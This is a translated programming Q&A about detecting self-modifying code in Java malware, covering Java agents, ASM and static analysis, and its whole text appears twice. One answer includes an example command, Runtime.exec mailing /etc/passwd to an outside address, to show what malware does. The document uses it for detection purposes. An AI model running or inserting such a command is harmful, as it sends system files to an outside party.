java 操纵字节码/程序指令/自修改代码检测
java manipulating bytecode/ program instructions / self modifying code detection
基本上我试图在 java 中创建一个检测自修改代码的恶意软件检测程序,
该程序应该 运行 一个 jar 文件并确定它是否包含自修改代码
我想到的一种方法是获取 .class 文件的初始字节码,然后他们将其与 运行ning 应用程序文件字节码进行比较,运行ning .class 文件应该和最初的一样,如果字节码在某一点不同,这意味着程序修改了自己的结构
问题是如何获取 运行ning 应用程序的字节码,我想每 0.1 秒获取一次字节码并将其与初始字节码进行比较。
有办法得到吗?
我尝试使用 java 代理和 ASM 但是我只能在程序执行之前获取字节码,并且 java 代理 运行s 在程序主要方法之前已执行。
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassWriter;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class asm {
//java agent
public static void premain(String agentArgs, Instrumentation inst){
inst.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader classLoader, /*class name*/String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
if ("other/Stuff".equals(s)) {
// ASM Code
ClassReader reader = new ClassReader(bytes);
ClassWriter writer = new ClassWriter(reader, 0);
//ClassPrinter visitor = new ClassPrinter(writer);
//reader.accept(visitor, 0);
return writer.toByteArray();
}
//else{
//System.out.println("class not loaded");
return null;
//}
}
})
}
此代码使用 java 代理和 ASM,但是我需要知道的是如何在应用程序执行时获取其字节码。
另外,如果有人可以就如何识别 java 中的自修改代码提出不同的方法,我将不胜感激
提前致谢
Java 中无法自修改代码。最接近的是 Java 代理,但是一旦 class 被加载,字节码在其他方面是不可变的。而且无论如何使用反射进行混淆要容易得多。
修改字节码的最简单方法是通过 Instrumentation。这将允许您在加载每个 class 时监视字节码,但您不能确定另一个 Instrumentation 代理不会 运行 在您之后。即无法确定您正在查看最终字节码。
还有许多 classes,包括 lambdas 和反射处理程序,都是动态生成的,因此您没有任何 "original" 字节代码来与它们进行比较。
作为练习,您可以检测 class 在加载时是否被修改,通过先前的 Instrumentation 代理从 class 加载器获取字节码并进行比较。
感染恶意软件的一种更简单的方法是通过 Runtime.exec
执行命令
Runtime.exec("mail me@server < /etc/passwd")
您可以通过检查字节码并阻止它执行此操作来检测此行为。
一般来说,您需要的是一个真正的恶意软件程序,您可以对其进行分析,然后检测它在做什么。
您的问题存在一些根本性的误解。首先:
如果您怀疑代码中包含恶意软件,请不要运行!
有一个分析沙盒中恶意软件行为的研究领域,但由于这需要谨慎的措施以确保软件不会造成任何伤害,因此应该留给专家,在他们的 环境。
标准的恶意软件检测软件通过在不执行(或之前)执行代码的情况下分析代码来工作。这导致了要搜索什么的问题:
恶意软件不需要包含自修改代码就是恶意软件
恶意软件的特征是执行意外的有害操作,为了使它们产生效果,程序需要执行 I/O 或启动计算机上的其他软件,例如为了对文件造成损坏,您需要文件 I/O,发送垃圾邮件或攻击其他计算机,您需要网络 I/O,以执行 Java [=57= 未涵盖的操作],您需要加载本机库或启动外部进程。
相比之下,在Java中,修改自己的代码没有任何效果。修改后的代码不能做原始代码做不到的任何事情,如果修改是即时进行的,它甚至不会对您的计算机环境产生任何持久的副作用。因此,如果试图修改自身代码的代码确实是恶意软件,它可以直接执行所需的操作而无需间接访问。
除此之外,你反复检查代码的想法注定要失败,因为 JVM 不存储原始字节码。代码以依赖于实现的方式存储,并针对高效执行进行了优化。因此,当 Agent 通过 Instrumentation API 向 JVM 询问 class 的代码时,它不会 return 原始代码而是 等效的 通过转换回代码的内部形式创建的代码。
这表示by the following statement:
The initial class file bytes represent the bytes passed to ClassLoader.defineClass
or redefineClasses
(before any transformations were applied), however they might not exactly match them. The constant pool might not have the same layout or contents. The constant pool may have more or fewer entries. Constant pool entries may be in a different order; however, constant pool indices in the bytecodes of methods will correspond. Some attributes may not be present. Where order is not meaningful, for example the order of methods, order might not be preserved.
因此,您不能只比较字节数组,还必须解析 class 文件以对其语义建模,并将其与先前解析操作的结果进行比较。因此,将 JVM 的内部代码表示转换为 class 文件并不是免费的,添加对它的解析和分析,并且您希望每 0.1 秒对所有 classes 执行一次 - 艰巨的工作。
说到底,也没有这个必要。您可以通过启动选项控制将启动哪些代理以及是否可以附加新代理。没有未知代理,就不会非法使用 Instrumentation API,因此不会修改代码。
因为,为了真正检测恶意软件,需要进行静态代码分析,找出使用了哪些 API(例如 I/O、ProcessBuilder
等),它的也很容易检查 Instrumentation API 或 ClassLoader
的使用情况。除了非标准的 APIs(应该总是发出警告标志)之外,这些是将新代码放入 JVM 的唯一可能方法。
更艰巨的工作是找出这些 API 用途中哪些是合法的,哪些是恶意软件的真实迹象,并计算未知软件的潜在危险。但这正是挑战,真正的恶意软件检测软件必须接受。
基本上我试图在 java 中创建一个检测自修改代码的恶意软件检测程序, 该程序应该 运行 一个 jar 文件并确定它是否包含自修改代码
我想到的一种方法是获取 .class 文件的初始字节码,然后他们将其与 运行ning 应用程序文件字节码进行比较,运行ning .class 文件应该和最初的一样,如果字节码在某一点不同,这意味着程序修改了自己的结构
问题是如何获取 运行ning 应用程序的字节码,我想每 0.1 秒获取一次字节码并将其与初始字节码进行比较。
有办法得到吗?
我尝试使用 java 代理和 ASM 但是我只能在程序执行之前获取字节码,并且 java 代理 运行s 在程序主要方法之前已执行。
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassWriter;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class asm {
//java agent
public static void premain(String agentArgs, Instrumentation inst){
inst.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader classLoader, /*class name*/String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
if ("other/Stuff".equals(s)) {
// ASM Code
ClassReader reader = new ClassReader(bytes);
ClassWriter writer = new ClassWriter(reader, 0);
//ClassPrinter visitor = new ClassPrinter(writer);
//reader.accept(visitor, 0);
return writer.toByteArray();
}
//else{
//System.out.println("class not loaded");
return null;
//}
}
})
}
此代码使用 java 代理和 ASM,但是我需要知道的是如何在应用程序执行时获取其字节码。 另外,如果有人可以就如何识别 java 中的自修改代码提出不同的方法,我将不胜感激
提前致谢
Java 中无法自修改代码。最接近的是 Java 代理,但是一旦 class 被加载,字节码在其他方面是不可变的。而且无论如何使用反射进行混淆要容易得多。
修改字节码的最简单方法是通过 Instrumentation。这将允许您在加载每个 class 时监视字节码,但您不能确定另一个 Instrumentation 代理不会 运行 在您之后。即无法确定您正在查看最终字节码。
还有许多 classes,包括 lambdas 和反射处理程序,都是动态生成的,因此您没有任何 "original" 字节代码来与它们进行比较。
作为练习,您可以检测 class 在加载时是否被修改,通过先前的 Instrumentation 代理从 class 加载器获取字节码并进行比较。
感染恶意软件的一种更简单的方法是通过 Runtime.exec
执行命令Runtime.exec("mail me@server < /etc/passwd")
您可以通过检查字节码并阻止它执行此操作来检测此行为。
一般来说,您需要的是一个真正的恶意软件程序,您可以对其进行分析,然后检测它在做什么。
您的问题存在一些根本性的误解。首先:
如果您怀疑代码中包含恶意软件,请不要运行!
有一个分析沙盒中恶意软件行为的研究领域,但由于这需要谨慎的措施以确保软件不会造成任何伤害,因此应该留给专家,在他们的 环境。
标准的恶意软件检测软件通过在不执行(或之前)执行代码的情况下分析代码来工作。这导致了要搜索什么的问题:
恶意软件不需要包含自修改代码就是恶意软件
恶意软件的特征是执行意外的有害操作,为了使它们产生效果,程序需要执行 I/O 或启动计算机上的其他软件,例如为了对文件造成损坏,您需要文件 I/O,发送垃圾邮件或攻击其他计算机,您需要网络 I/O,以执行 Java [=57= 未涵盖的操作],您需要加载本机库或启动外部进程。
相比之下,在Java中,修改自己的代码没有任何效果。修改后的代码不能做原始代码做不到的任何事情,如果修改是即时进行的,它甚至不会对您的计算机环境产生任何持久的副作用。因此,如果试图修改自身代码的代码确实是恶意软件,它可以直接执行所需的操作而无需间接访问。
除此之外,你反复检查代码的想法注定要失败,因为 JVM 不存储原始字节码。代码以依赖于实现的方式存储,并针对高效执行进行了优化。因此,当 Agent 通过 Instrumentation API 向 JVM 询问 class 的代码时,它不会 return 原始代码而是 等效的 通过转换回代码的内部形式创建的代码。
这表示by the following statement:
The initial class file bytes represent the bytes passed to
ClassLoader.defineClass
orredefineClasses
(before any transformations were applied), however they might not exactly match them. The constant pool might not have the same layout or contents. The constant pool may have more or fewer entries. Constant pool entries may be in a different order; however, constant pool indices in the bytecodes of methods will correspond. Some attributes may not be present. Where order is not meaningful, for example the order of methods, order might not be preserved.
因此,您不能只比较字节数组,还必须解析 class 文件以对其语义建模,并将其与先前解析操作的结果进行比较。因此,将 JVM 的内部代码表示转换为 class 文件并不是免费的,添加对它的解析和分析,并且您希望每 0.1 秒对所有 classes 执行一次 - 艰巨的工作。
说到底,也没有这个必要。您可以通过启动选项控制将启动哪些代理以及是否可以附加新代理。没有未知代理,就不会非法使用 Instrumentation API,因此不会修改代码。
因为,为了真正检测恶意软件,需要进行静态代码分析,找出使用了哪些 API(例如 I/O、ProcessBuilder
等),它的也很容易检查 Instrumentation API 或 ClassLoader
的使用情况。除了非标准的 APIs(应该总是发出警告标志)之外,这些是将新代码放入 JVM 的唯一可能方法。
更艰巨的工作是找出这些 API 用途中哪些是合法的,哪些是恶意软件的真实迹象,并计算未知软件的潜在危险。但这正是挑战,真正的恶意软件检测软件必须接受。